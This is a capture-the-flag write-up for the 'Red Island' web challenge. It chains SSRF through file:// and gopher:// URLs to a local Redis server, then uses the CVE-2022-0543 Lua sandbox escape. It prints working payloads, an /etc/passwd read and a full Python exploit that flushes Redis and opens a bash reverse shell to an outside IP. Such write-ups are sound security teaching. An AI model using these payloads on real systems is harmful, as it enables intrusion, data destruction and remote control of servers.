# Red Island (Web)
# Introduction
This challenge allows us to download a remote image from a URL, and we can exploit this functionality to perform an SSRF attack against the target. We can use this vulnerability to read source code and discover a local Redis server. We can then use the Gopher protocol to escape the Lua scripting sandbox and drop a shell on the target.
I enjoyed this challenge and learnt a new technique that I will be sure to refer back to in the future. I'm happy to say that I was the 62nd person to solve this challenge on day 3 of the CTF event.
# App Functionality
This challenge initially presents the user with basic login register/pages that we have seen on the other web challenges. Once we had registered an account, we were presented with a simple page to accept a URL to an image.
We can host an image using Python's http.server
with ngrok
and submit it to the website. The application will apply a red filter to the image and return the base64-encoded image data.
This is how the request looked in Burp:
# SSRF Source Code Disclosure
We can leverage the file://
URL scheme with the /proc
filesystem to issue a Server-Side Request Forgery (SSRF) request to view the app's source code:
{"url": "file:///proc/self/cwd/index.js"}
(thanks JD!)
We can dump the file source into VS Code to properly format the file for investigation. We can see that Redis is running locally, and the application is utilising it as the session storage driver.
At this point I wrote a simple exploit that would allow me to type filenames and download their source locally.
# Accessing Redis
After some research, I came across a great article (opens new window) detailing how Redis can be accessed via SSRF using the Gopher protocol (opens new window). The article also explains how Redis uses the REdis Serialization Protocol (RESP) protocol to receive commands via telnet
or netcat
, without needing redis-cli
to be installed locally.
$ nc -nvC 127.0.0.1 6379
(UNKNOWN) [127.0.0.1] 6379 (redis) open
# REQUEST
*1 # We are sending one argument
$4 # The argument has 4 characters
info # The actual argument or command to send (`INFO` command)
# RESPONSE
$3226 # The server response is 3226 characters
Server # Server response for the `INFO` command
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924
We can see the Gopher protocol in action by using curl
to send a local request for the INFO
command. We need to instruct curl
to terminate the request after 1 second; otherwise, Redis will not close the connection, and it will remain open indefinitely.
$ curl -s --max-time 1 gopher://127.0.0.1:6379/_info | head
We can now test this against the target by sending a request to execute the INFO
and QUIT
commands. Each command must be terminated by a newline character (%0A
).
{"url": "gopher://127.0.0.1:6379/_info%0Aquit%0A"}
Great. Now we can send commands directly to Redis.
# Lua Sandbox Escape
Redis allows users to upload Lua scripts (opens new window) to the server to perform advanced logic and command sequences directly in the caching engine. CVE-2022-0543 (opens new window) is a Lua Sandbox Escape vulnerability in Redis (opens new window), which will let the attacker read files and execute system commands. The original PoC can be found below and will read the /etc/passwd
file from the target.
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /etc/passwd", "r"); local res = f:read("*a"); f:close(); return res' 0
A Metasploit module has been developed (opens new window), which gives a PoC for executing system commands. I decided to go down this route to drop a shell onto the target.
Let's start a netcat listener and a ngrok
TCP forwarder so that the remote Docker target can access our local attacking machine.
$ sudo nc -lvnp 21
$ ngrok tcp 21
ngrok
assigned me the hostname 6.tcp.eu.ngrok.io
, so I resolved the IP address using dig
:
$ dig 6.tcp.eu.ngrok.io
3.68.171.119
I modified my file download PoC to exploit Redis. The relevant sections are shown below, with the full PoC at the end of this post. I took the generate_resp
and generate_gopher
functions from the original article (opens new window) I linked. I had to manually create the RESP for the Lua script as the generate_resp
function was not respecting the EVAL command (opens new window) syntax.
...
def make_request(payload):
return s.post(f'{TARGET}/api/red/generate', json={'url': payload})
# Convert a command to RESP (REdis Serialisation Protocol)
def generate_resp(command):
res = ""
if isinstance(command, list):
pass
else:
command = command.split(" ")
res += "*{}\n".format(len(command)) # Request - Number of args
for cmd in command:
res += "${}\n".format(len(cmd)) # Request - String length
res += "{}\n".format(cmd) # Request
return res
def generate_gopher(payload):
payload = payload.replace("\n", "\r\n")
return "gopher://127.0.0.1:6379/_{}".format(urllib.parse.quote(payload))
if __name__ == "__main__":
os_cmd = "bash -c 'bash -i >& /dev/tcp/3.68.171.119/14042 0>&1'"
lua_script = f'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); local f = os.execute("{os_cmd}");'
res = ''
res += generate_resp('flushall')
# The `generate_resp` method wasn't handling the lua well
# Manually generate the RESP format
res += "*3\n"
res += "$4\neval\n"
res += "${}\n{}\n".format(len(lua_script), lua_script)
res += "$1\n0\n"
# Tell Redis to close the connection otherwise it will hang indefinitely
res += generate_resp('quit')
r = make_request(payload=generate_gopher(res))
print(r.json()['message'])
Now we can run the exploit and drop a shell on the target, and find the flag located at /root/flag
$ python3 exploit.py
# Full Exploit PoC
#!/usr/bin/env python3
# https://infosecwriteups.com/exploiting-redis-through-ssrf-attack-be625682461b
# https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/
# https://packetstormsecurity.com/files/166885/Redis-Lua-Sandbox-Escape.html
# https://github.com/rhamaa/Web-Hacking-Lab/blob/master/SSRF_REDIS_LAB/payload_redis.py#L12-L38
# https://i.imgur.com/2U0Pcj0.png
from tqdm import tqdm
import os
import requests
import random
import string
import urllib.parse
TARGET = 'http://134.209.177.202:30830'
s = requests.Session()
def authenticate():
cred = ''.join(random.choice(string.ascii_uppercase) for i in range(16))
s.post(f'{TARGET}/api/register', json={'username': cred, 'password': cred})
s.post(f'{TARGET}/api/login', json={'username': cred, 'password': cred})
s.get(f'{TARGET}/dashboard')
def make_request(payload):
return s.post(f'{TARGET}/api/red/generate', json={'url': payload})
def load_file(file):
# /proc/self/cwd/index.js
r = make_request(payload=f'file://{file}')
msg = r.json()['message'].replace(
'Unknown error occured while fetching the image file: ', '')
print(msg)
if msg.strip() == 'The URL specified is unreachable!':
return
# Download the file
local_path = 'src/' + file.replace('/proc/self/cwd/', '')
if not os.path.exists(local_path):
base_dir = os.path.dirname(local_path)
if base_dir != '':
os.makedirs(base_dir, exist_ok=True)
with open(local_path, 'w') as f:
f.write(msg)
# Convert a command to RESP (REdis Serialisation Protocol)
def generate_resp(command):
res = ""
if isinstance(command, list):
pass
else:
command = command.split(" ")
res += "*{}\n".format(len(command)) # Request - Number of args
for cmd in command:
res += "${}\n".format(len(cmd)) # Request - String length
res += "{}\n".format(cmd) # Request
return res
def generate_gopher(payload):
payload = payload.replace("\n", "\r\n")
return "gopher://127.0.0.1:6379/_{}".format(urllib.parse.quote(payload))
if __name__ == "__main__":
authenticate()
# Drop a shell using ngrok for full reverse connection
#
# $ ngrok tcp 21 -> 6.tcp.eu.ngrok.io
# $ dig 6.tcp.eu.ngrok.io -> 3.68.171.119
#
os_cmd = "bash -c 'bash -i >& /dev/tcp/3.68.171.119/14042 0>&1'"
lua_script = f'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); local f = os.execute("{os_cmd}");'
res = ''
res += generate_resp('flushall')
# The `generate_resp` method wasn't handling the lua well
# Manually generate the RESP format
res += "*3\n"
res += "$4\neval\n"
res += "${}\n{}\n".format(len(lua_script), lua_script)
res += "$1\n0\n"
# Tell Redis to close the connection otherwise it will hang indefinitely
res += generate_resp('quit')
print(res)
gopher = generate_gopher(res)
print(gopher)
print('-'*50)
r = make_request(payload=gopher)
print(r.json()['message'].replace(
'Unknown error occured while fetching the image file: ', ''))
exit()
while True:
file = input('> ')
load_file(file=file)